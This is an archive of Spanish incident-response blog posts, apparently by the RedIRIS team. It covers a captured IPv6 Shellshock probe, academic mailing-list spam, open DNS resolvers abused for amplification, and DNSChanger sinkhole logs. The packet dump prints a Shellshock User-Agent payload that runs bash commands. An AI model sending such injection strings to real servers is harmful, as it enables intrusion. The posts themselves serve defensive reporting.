Archivo

Archivo para la categoría ‘Incidentes’

Atacantes en IPv6

martes, 19 de mayo de 2015 Sin comentarios

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Spam académico

martes, 20 de agosto de 2013 Sin comentarios

 

Algunos piensan que con esto de la crisis económica todo vale y que ya que recibimos spam todos los días el buscar de forma masiva direcciones de correo y emplear los servidor de listas de las organizaciones para la difusión de convocatorias de congresos, revistas, cursos y demás formas de conseguir financiación adicional o prestigio, yo personalmente creo que hay que hace hincapié en los responsables de las listas de correo internas de cada organización para evitar este tipo de comportamientos.

 

No se ve todos  los días , pero como mínimo una vez al mes se recibe  información desde listas de correo sobre masters, cursos, congresos y demás organizados por departamentos o centros de instituciones afiliadas, donde sin haberlo pedido en ningún momento me han incorporado a una lista de distribución.

Mención aparte merecen algunas organizaciones afiliadas a RedIRIS con difusión internacional que añaden de forma masiva a los usuarios extranjeros que acceden a una de sus cursos/conferencias y charlas y de los que recibimos diariamente quejas de algunos ISP estadounidenses.

 

Aparte de la mala imagen para la organización, generación de spam a los destinatarios, etc,  están los problemas de listas negras.  por lo que un uso irresponsable de los recursos que proporciona la organización pueden provocar perjuicios a otros usuarios  en un momento determinado.

Por favor. recordarle a los administradores de las listas de correo las normas de buen uso , gran parte de vosotros las tiene ya publicadas y aprobadas , por ejemplo en :https://www.google.es/search?q=rediris.es+listas+de+correo+normas&rlz=1C5CHFA_enUS503ES505&oq=rediris.es+listas+de+correo+normas&aqs=chrome.0.69i57j69i62l2.6272j0&sourceid=chrome&ie=UTF-8

 

Y explicitamente en RedIRIS en http://www.rediris.es/mail/abuso/ace.es.html  (perdonar por los tipos mime sin actualizar 😉  se indica claramente que este tipo de contenido viola varios de los puntos que desde RedIRIS se consideran contenido abusivo.

 

un saludo a todos

Categories: Incidentes Tags:

Ataques de DNS empleando servidores de DNS mal configurados

martes, 2 de julio de 2013 Sin comentarios

Los servidores DNS recursivos y/o de cache son aquellos servidores de DNS que responden a consultas sobre información de la cual no son autoritativos y cumplen con una función muy importante dentro de la infraestructura de una organización a la hora permitir el funcionamiento normal de internet. Sin embargo, es conveniente mantener una serie de precauciones cuando el servicio está expuesto directamente a Internet , ya que desde hace algún tiempo se están usando estos servidores recursivos para la realización de ataques de Denegación de Servicio (DDOS)

DNS funciona mediante un sistema de “pregunta” / respuesta, empleando muchas veces el protocolo UDP, lo que da lugar a dos problemas:

  1. Al ser UDP el trafico se puede falsificar, tanto RedIRIS (que lo comprueba en su backbone) como las instituciones afiliadas cumplen con el documento de buenas prácticas 38, (BCP38) , pero muchas otras redes no.
  2. La consulta puede ocupar pocos bytes, pero la respuesta ser muy larga , es lo que se conoce como amplicación de tráfico que en DNS llega  a ser de aproximadamente 1 a 100 (por un 1Mb de trafico de consultas se consigue 100 veces más como respuestas

Esto hace que un atacante pueda emplear los servidores recursivos abiertos de las instituciones para en base a generar tráfico falsificado desde algunas redes mal configuradas hacer que los servidores de DNS amplifiquen el tráifco se produzca una denegación de servicio.

Además, ha salido publicado en algunos foros técnicos cómo se pueden emplear estos servidores DNS recursivos (haciendo hincapié en los existentes en al comunidad RedIRIS para conseguir una mayor velocidad en la visualización desde direcciones IP de proveedores comerciales, en base a emplear el sistema de cache “Google Content Network GCN)”, lo que puede suponer una violación del acuerdo entre RedIRIS y Google y puede ser perjudicial para las instituciones conectadas a RedIRIS.

Por otra parte, al ser el servicio de DNS un servicio básico para el funcionamiento de Internet, hay que tener en cuenta las diversas vulnerabilidades que pueden tener versiones antiguas del software “BIND”, de ISC, que es mayoritariamente usado por las organizaciones para la gestión de los servicios de DNS.

Desde  RedIRIS hemos comunicado en los grupos de trabajo varias veces los peligros que conllevan estos servidores de DNS abiertos, con los problemas que se pueden producir, como se puede ver en las presentaciones:

[1] Presentación en los grupos de trabajo 2011 ,

[2] Presentación en los grupos de trabajo 2013,
Sin embargo todavía quedan servidores de DNS abiertos en las instituciones y cada vez es más frecuente que lleguen notificaciones de ataques de dengación de servicio empleando direcciones IP de las redes las institiciones afiliadas.

Sería conveniente que configurarais vuestros servidores de DNS para que no fueran recursivos desde el exterior, en http://www.team-cymru.org/Services/Resolvers/instructions.html hay información sobre los pasos para conseguirlo. En las versiones actuales de Bind es muy fácil empleando las vistas:

1. Por defecto no permitir la recursión
2. Crear una vista interna limitada a las direcciones IP internas que permite la recursión.

Tambien en las versiones más recientes de Bind existen varias soluciones incluyendo el llamado “Response Rate Limit” para limitar el número de respuestas que un servidor de DNS puede tener ante las consultas de DNS y como poder “aliviar” estas consultas., este parche se comenta en la presentación antes comentada de los grupos de trabajo de 2013.

Por favor intentar corregir el problema, si estos equipos no son los servidores de DNS oficiales de vuestra organización bloquear el acceso al puerto 53/UDP desde el exterior (las conexiones vía TCP no pueden ser falsificadas con tanta facilidad) y avisar a los responsables del equipo para que apliquen los parches de seguridad oportunos.

Podeís tambien consultar con nuestros compañeros del NOC y la lista IRIS-DNS@listserv.rediris.es, si necesitaís más información.

Categories: Incidentes Tags:

DNSChanger , algunas nueces

miércoles, 11 de julio de 2012 Sin comentarios

 

Con el problema de seguridad de DNSChanger, ha habido mucha difusión mediatica y se indicaba que para muchos usuarios el día 9 de Julio iba a ser el cataclismo, al no funcionarles correctamente su conexión a Internet, en http://www.dcwg.org/ hay mucha más información sobre todo esto.

El problema venía siendo arrastrado desde hace mucho tiempo ya que muchos equipos de todo el mundo habían sido infectados y el “virus/gusano/troyano,etc” había cambiado los DNS para apuntar a unos controlados por los atacantes, que aprovechaban las consultas para falsear las consultas, de forma que podían redigir a voluntad las consultas de DNS, por ejemplo haciendo que al buscar www.tubanco.es fueras a otra dirección de internet.

Desde  finales del año pasado el FBI intervino estos servidores y todo el tráfico de DNS era respondido correctamente , pero el mandado judicial acababa este 9 de Julio, por lo que desde RedIRIS se planteo mitigar el problema interceptando las consultas a los servidores que iban a dejar de funcionar y poniendo nosotros un servidor que respondiera (y registrara) las consultas.

Al final desde luego ha habido mucho ruido pero pocas “nueces”, ya que al final había menos de 15 equipos infectados en toda la red de RedIRIS (unos 2 Millones de direcciones IP ), por lo que no parece significativo el número de infecciones.

Gracias a tener registrado las consultas que hacen las máquinas sin embargo hemos podido encontrar algunas “nueces” interesantes como las siguientes:

Un equipo todavía infectado por un conficker.

Conficker es un gusano con más de dos años de actividad que se intenta conectar periodicamente a un equipo para recibir instrucciones, los  nombre de los equipos a los que se intenta conectar se  generan de forma pseudo-aleatoria cada día ,  en http:// confickerworkinggrou.org hay más información incluyendo unas gráficas sobre el número de infecciones que se detectan cada día. ( http://www.confickerworkinggroup.org/wiki/pmwiki.php/ANY/InfectionTracking  )

Viendo las consultas se se aprecia una máquina haciendo consultas al DNS  buscando dominios “bastante raros” (la IP origen se ha cambiado a AAA.BB.CC.144 ).
2012-07-05 19:48:55.400426 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain:61962+ A? zcgqlzyo.ws. (29)
2012-07-05 19:49:00.556635 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain:59401+ A? lrgrbypi.com. (30)
2012-07-05 19:49:12.853223 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain:19720+ A? kodutaunnpx.ws. (32)
2012-07-05 19:49:23.056254 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain:40718+ A? cxxejithkhp.info. (34)
2012-07-05 19:49:28.227979 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 8462+ A? zcrfcywrlh.biz. (32)
2012-07-05 19:49:38.430740 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 40973+ A? ojbpb.net. (27)
.....
2012-07-06 09:37:48.887692 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 8191+ A? ksccwristsl.com. (33)
2012-07-06 09:37:56.168755 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 50429+ A? zakoeer.ws. (28)
2012-07-06 09:38:01.324965 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 46588+ A? temvb.info. (28)
2012-07-06 09:38:06.574691 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 19708+ A? bbiiz.ws. (26)
2012-07-06 09:38:11.777818 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 4578+ A? dtvlrhl.info. (30)
2012-07-06 09:38:16.934003 IP AAA.BB.CC.DDD.1025 > 85.255.113.118.domain: 9185+ A? sclmyhiyxa.biz. (32)

Otro caso curioso  que aparece en los logs es este:

2012-07-09 19:31:28.150676 IP AAA.BB.CC.17.35627 > 67.210.14.61.domain: 19061+ MX? att.net. (25)
2012-07-09 19:31:28.270993 IP AAA.BB.CC.17.35634 > 67.210.14.62.domain: 64862+ A? scc-mailrelay.att.net. (39)
2012-07-09 19:31:28.481642 IP AAA.BB.CC.17.35656 > 67.210.14.61.domain: 13448+ MX? rocketmail.com. (32)
2012-07-09 19:31:28.550584 IP AAA.BB.CC.17.35662 > 67.210.14.62.domain: 51788+ MX? aol.com. (25)
2012-07-09 19:31:30.071473 IP AAA.BB.CC.17.35738 > 67.210.14.61.domain: 32104+ A? mx1.rog.mail.yahoo.com. (40)
2012-07-09 19:31:30.311212 IP AAA.BB.CC.17.35753 > 67.210.14.62.domain: 27165+ A? fpo.mail.dk. (29)
2012-07-09 19:32:23.634079 IP AAA.BB.CC.17.37220 > 67.210.14.62.domain: 20212+ MX? talktalk.net. (30)
2012-07-09 19:32:23.970319 IP AAA.BB.CC.17.37255 > 67.210.14.62.domain: 58452+ MX? kodel.com. (27)
2012-07-09 19:32:24.134301 IP AAA.BB.CC.17.37273 > 67.210.14.62.domain: 44514+ MX? vocollect.com. (31)
2012-07-09 19:32:24.853948 IP AAA.BB.CC.17.37339 > 67.210.14.62.domain: 39530+ MX? uchicago.edu. (30)
.....
2012-07-10 13:20:10.089107 IP AAA.BB.CC.17.49746 > 67.210.14.61.domain: 63686+ MX? yahoo.co.uk. (29)
2012-07-10 13:20:10.128946 IP AAA.BB.CC.17.49750 > 67.210.14.62.domain: 34710+ A? mx-eu.mail.am0.yahoodns.net. (45)
2012-07-10 13:20:12.159913 IP AAA.BB.CC.17.49762 > 67.210.14.61.domain: 64173+ MX? verizon.net. (29)
2012-07-10 13:20:12.239307 IP AAA.BB.CC.17.49766 > 67.210.14.62.domain: 27468+ MX? btinternet.com. (32)
2012-07-10 13:20:12.568931 IP AAA.BB.CC.17.49778 > 67.210.14.61.domain: 37659+ MX? wanadoo.fr. (28)
2012-07-10 13:20:13.268954 IP AAA.BB.CC.17.49782 > 67.210.14.62.domain: 31907+ MX? orange.fr. (27)
2012-07-10 13:20:13.429057 IP AAA.BB.CC.17.49796 > 67.210.14.61.domain: 64758+ MX? yahoo.com. (27)
2012-07-10 13:20:13.488950 IP AAA.BB.CC.17.49799 > 67.210.14.62.domain: 51148+ A? mta6.am0.yahoodns.net. (39)
2012-07-10 13:20:25.361551 IP AAA.BB.CC.17.49814 > 67.210.14.61.domain: 12389+ MX? sbcglobal.net. (31)

Donde se aprecia que el equipo, (que no es un servidor de correo) esta haciendo muchas consutas de DNS de tipo “MX”,  una análisis en mas detalle indica que este equipo, un Linux parece estar comprometido y se esta empleando para enviar SPAM.

También  posible “adivinar” si el equipo infectado en cuestión es un “Mac” e incluso si tiene el IPv6 activado o no, de otro de los equipos infectados:

2012-07-05 20:05:04.088957 IP AAA.BBB.CC.187.49974 > 85.255.115.155.domain: 41711+ PTR? b._dns-sd._udp.0.CC.BBB.AAA.in-addr.arpa. (58)
2012-07-05 20:05:04.089648 IP AAA.BBB.CC.187.61248 > 85.255.115.155.domain: 33128+ PTR? db._dns-sd._udp.0.CC.BBB.AAA.in-addr.arpa. (59)
2012-07-05 20:05:04.089887 IP AAA.BBB.CC.187.63188 > 85.255.115.155.domain: 54465+ TXT? cf._dns-sd._udp.0.CC.BBB.AAA.in-addr.arpa. (59)
2012-07-05 20:06:27.569295 IP AAA.BBB.CC.187.57867 > 85.255.115.155.domain: 4630+ PTR? 187.CC.BBB.AAA.in-addr.arpa. (45)
2012-07-05 20:06:27.609607 IP AAA.BBB.CC.187.62491 > 85.255.115.155.domain: 39982+ PTR? 8.3.9.b.9.d.e.f.f.f.f.d.e.1.a.f.b.0.0.0.8.1.e.4.Y.Y.Y.Y.X.X.X.X.ip6.arpa. (90)
2012-07-05 20:06:27.653437 IP AAA.BBB.CC.187.60475 > 85.255.115.155.domain: 62266+ PTR? 8.3.9.b.9.d.e.f.f.f.f.d.e.1.a.f.b.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.arpa. (90)
2012-07-05 20:06:27.679686 IP AAA.BBB.CC.187.59874 > 85.255.115.155.domain: 13440+ PTR? 1.195.168.192.in-addr.arpa. (44)
2012-07-05 20:06:27.695459 IP AAA.BBB.CC.187.52476 > 85.255.115.155.domain: 22310+ PTR? 1.124.168.192.in-addr.arpa. (44)

Se observa que el equipo hace muchas consultas vía DNS de tipo PTR y TXT a una zona “in-addr.arpa” algo especial , buscando por ahí son consultas típicas del protocolo “Bonjour” de Apple,  http://www.dns-sd.org/ ,  ( 4 primeras lineas ), además el equipo hace conexiones a zonas “ip6.arpa” , lo que indica que además tiene activado el IPv6  (siguientes dos lineas ) y por ultimo las dos ultimas lineas preguntando por la inversa dentro de un rango privado (192.168.124.1) parecen indicar que el equipo se encuentra detras de algún tipo de router / NAT .

 

Categories: Incidentes Tags: , ,